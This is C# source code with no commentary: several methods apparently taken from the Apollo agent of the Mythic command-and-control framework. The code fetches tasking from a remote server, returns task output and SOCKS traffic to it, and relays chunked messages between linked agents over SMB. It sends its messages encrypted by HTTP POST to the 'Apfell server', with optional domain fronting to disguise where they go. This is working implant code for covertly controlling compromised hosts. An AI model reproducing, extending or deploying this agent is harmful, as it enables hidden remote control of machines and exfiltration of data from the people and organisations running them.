private void ForceStopAgent() { Inbox.AddMessage("is_active", false); CheckTaskingResponse msg = new CheckTaskingResponse() { action = "get_tasking", tasks = new Task[0], delegates = new Dictionary <string, string> [0], message_id = "" }; string strMsg = JsonConvert.SerializeObject(msg); SortMessages(strMsg); }
private void SendTaskOutput() { int retryCount = 0; Tasks.ApolloTaskResponse[] responses = JobManager.GetJobOutput(); SocksDatagram[] datagrams = SocksController.GetMythicMessagesFromQueue(); List <ApolloTaskResponse> lResponses = new List <ApolloTaskResponse>(); // probably should be used to resend if (responses.Length > 0 || datagrams.Length > 0) { string guid = Guid.NewGuid().ToString(); while (retryCount < MAX_RETRIES) { string result = Profile.SendResponses(guid, responses, datagrams); if (string.IsNullOrEmpty(result)) { break; } MythicServerResponse serverReply = JsonConvert.DeserializeObject <MythicServerResponse>(result); foreach (MythicTaskResponse rep in serverReply.responses) { if (rep.status == "error") { lResponses.Add(responses.Single(c => c.task_id == rep.task_id)); } else { Inbox.AddMessage(rep.task_id, rep); } } if (serverReply.delegates != null && serverReply.delegates.Length > 0) { DispatchDelegates(serverReply.delegates); } responses = lResponses.ToArray(); lResponses.Clear(); retryCount += 1; if (responses.Length == 0) { break; } } } }
public override void ReadMessagesFromProducer(string registrationGuidMsgID) { string producerMessage = ""; SMBMessage smbMsg = new SMBMessage(); Dictionary <string, List <SMBMessage> > chunkedMessages = new Dictionary <string, List <SMBMessage> >(); DebugWriteLine($"New UUID Registration for Agent will have Message ID: {registrationGuidMsgID}"); DebugWriteLine($"Beginning loop to read messages from {MessageProducer.HostName} over {MessageProducer.GetType().Name}..."); while (MessageProducer.IsConnected() && !StopAllThreads) { try { DebugWriteLine($"Waiting to read message from {MessageProducer.HostName} over {MessageProducer.GetType().Name}..."); smbMsg = MessageProducer.ReadMessage(); DebugWriteLine($"SUCCESS! Got a message from {MessageProducer.HostName} over {MessageProducer.GetType().Name}!"); if (smbMsg != null && smbMsg.MessageObject != null) { DebugWriteLine($"Message from {MessageProducer.HostName} over {MessageProducer.GetType().Name} was non-null."); if (smbMsg.MessageType == "uuid_registration") { DebugWriteLine($"UUID Registration message from {MessageProducer.HostName} over {MessageProducer.GetType().Name} received!"); producerMessage = Encoding.UTF8.GetString((byte[])smbMsg.MessageObject); // This should pop twice. First on initial connect, then second on received UUID AgentUUID = producerMessage; DebugWriteLine($"Set AgentUUID to {AgentUUID}. Adding registration message to inbox with message ID {registrationGuidMsgID}..."); Inbox.AddMessage(registrationGuidMsgID, producerMessage); DebugWriteLine($"SUCCESS! Added registration message to inbox with message ID {registrationGuidMsgID}"); } else if (smbMsg.MessageType == "chunked_message") { //SMBChunkedMessage tmp = (SMBChunkedMessage)smbMsg; if (!chunkedMessages.ContainsKey(smbMsg.MessageID)) { chunkedMessages[smbMsg.MessageID] = new List <SMBMessage>(); } chunkedMessages[smbMsg.MessageID].Add(smbMsg); if (chunkedMessages[smbMsg.MessageID].Count == smbMsg.MaxMessages) { byte[] fullMessage = SMBMessage.CombineChunkedMessages(chunkedMessages[smbMsg.MessageID]); chunkedMessages.Remove(smbMsg.MessageID); producerMessage = Encoding.UTF8.GetString(fullMessage); AddMessageToRequestQueue(producerMessage); } } else { DebugWriteLine($"Adding new message from {MessageProducer.HostName} ({MessageProducer.GetType().Name}) to {MessageConsumer.GetType().Name}'s request queue..."); producerMessage = Encoding.UTF8.GetString((byte[])smbMsg.MessageObject); AddMessageToRequestQueue(producerMessage); DebugWriteLine($"SUCCESS! Added new message from {MessageProducer.HostName} ({MessageProducer.GetType().Name}) to {MessageConsumer.GetType().Name}'s request queue."); } } } catch (Exception ex) { DebugWriteLine($"ERROR! Reason: {ex.Message}\n\tStackTrack: {ex.StackTrace}"); StopAllThreads = true; } finally { producerMessage = ""; smbMsg = null; //Thread.Sleep(SleepTime); } } DebugWriteLine($"Stopped reading messages from {MessageProducer.HostName} over {MessageProducer.GetType().Name}"); }
// Encrypt and post a string to the Apfell server /// <summary> /// Send a POST request to the Apfell server given a JSON message /// and return the JSON string as the result. /// </summary> /// <param name="message">JSON message string to send.</param> /// <returns>JSON string of the server result.</returns> public override bool Send(string id, string message) { Stopwatch sw = new Stopwatch(); sw.Start(); byte[] reqPayload = Encoding.UTF8.GetBytes(base.cryptor.Encrypt(message)); //DebugWriteLine($"Waiting for egress mutex handle..."); #if USE_WEBCLIENT egressMtx.WaitOne(); sw.Stop(); DebugWriteLine($"Took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to acquire mutex."); sw.Start(); #endif //DebugWriteLine($"Acquired egress mutex handle!"); string result; int busyCount = 0; while (true) { try { #if USE_HTTPWEB HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(Endpoint); request.KeepAlive = false; request.Method = "Post"; request.ContentType = "text/plain"; request.ContentLength = reqPayload.Length; request.UserAgent = UserAgent; if (DomainFront != "" && DomainFront != "domain_front") { request.Host = DomainFront; } Stream reqStream = request.GetRequestStream(); reqStream.Write(reqPayload, 0, reqPayload.Length); reqStream.Close(); WebResponse response = request.GetResponse(); sw.Stop(); DebugWriteLine($"Took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to get response."); using (StreamReader reader = new StreamReader(response.GetResponseStream())) { result = base.cryptor.Decrypt(reader.ReadToEnd()); } sw.Restart(); Inbox.AddMessage(id, result); sw.Stop(); DebugWriteLine($"Took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to add message to inbox."); break; #endif #if USE_WEBCLIENT if (!client.IsBusy) { sw.Stop(); DebugWriteLine($"Took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to acquire mutex and client was busy {busyCount} times."); sw.Restart(); //DebugWriteLine("Attempting to send web request..."); var middle = Encoding.UTF8.GetString(client.UploadData(Endpoint, reqPayload)); sw.Stop(); DebugWriteLine($"Took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} for client to upload data."); sw.Restart(); result = base.cryptor.Decrypt(middle); sw.Stop(); DebugWriteLine($"Took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to decrypt response."); sw.Restart(); Inbox.AddMessage(id, result); sw.Stop(); DebugWriteLine($"Took {Utils.StringUtils.FormatTimespan(sw.Elapsed)} to add message to Inbox."); break; } else { busyCount++; } #endif } catch (WebException ex) { if (ex.Response != null) { var stream = ex.Response.GetResponseStream(); if (stream != null) { using (StreamReader responseStream = new StreamReader(stream)) { DebugWriteLine($"ERROR! WebException occurred sending message. Reason: {ex.Message}\n\tResponse: {responseStream.ReadToEnd()}"); // Process the stream } } else { DebugWriteLine("Honestly just forget it."); } } else { DebugWriteLine($"WebException: {ex.Message}\n\tStackTrace:{ex.StackTrace}"); } } catch (Exception ex) { DebugWriteLine($"Error sending message. Reason: {ex.Message}\n\tStackTrace:{ex.StackTrace}"); #if USE_WEBCLIENT egressMtx.ReleaseMutex(); #endif throw ex; } } //DebugWriteLine("Releasing egress mutex handle..."); #if USE_WEBCLIENT egressMtx.ReleaseMutex(); #endif return(true); }
// returns a UUID of the task_id or get_tasking internal bool SortMessages(string message, string id = "") { string key = ""; string action; string msg; JToken messageId; if (message == null || message == "") { DebugWriteLine($"Empty message. Abort sort."); return(false); } JObject json = (JObject)JsonConvert.DeserializeObject(message); action = json.Value <string>("action"); if (json.TryGetValue("message_id", out messageId)) { key = messageId.ToString(); } DebugWriteLine($"Sorting message with action {action}..."); switch (action) { case "unlink": ForceStopAgent(); break; case "checkin": if (key == "") { key = "checkin-" + Guid.NewGuid().ToString(); } DebugWriteLine($"Message Key set to: {key}. Adding to inbox..."); Inbox.AddMessage(key, message); DebugWriteLine($"SUCCESS! Added message {key} to inbox!"); break; case "get_tasking": if (key == "") { key = "get_tasking-" + Guid.NewGuid().ToString(); } DebugWriteLine($"Message Key set to: {key}. Adding to inbox..."); Inbox.AddMessage(key, message); DebugWriteLine($"SUCCESS! Added message {key} to inbox!"); break; case "post_response": var resp = JsonConvert.DeserializeObject <MythicServerResponse>(message); if (resp.delegates != null && resp.delegates.Length > 0) { CheckTaskingResponse delegateMessage = new CheckTaskingResponse() { action = "get_tasking", tasks = new Task[0], delegates = resp.delegates, message_id = key }; string delegateMessageString = JsonConvert.SerializeObject(delegateMessage); SortMessages(delegateMessageString); } foreach (var response in resp.responses) { key = response.task_id; msg = JsonConvert.SerializeObject(response); DebugWriteLine($"Message Key set to: {key}. Adding to inbox..."); Inbox.AddMessage(key, msg); DebugWriteLine($"SUCCESS! Added message {key} to inbox!"); } // Create a new TaskQueue key = "get_tasking-" + Guid.NewGuid().ToString(); break; case "upload": key = json.Value <string>("task_id"); DebugWriteLine($"Message Key set to: {key}. Adding to inbox..."); Inbox.AddMessage(key, message); DebugWriteLine($"SUCCESS! Added message {key} to inbox!"); break; default: if (id == "") { throw new Exception("Couldn't parse message"); } Inbox.AddMessage(id, message); //throw new Exception($"Unsupported message type: {action}"); //return false; break; } return(true); }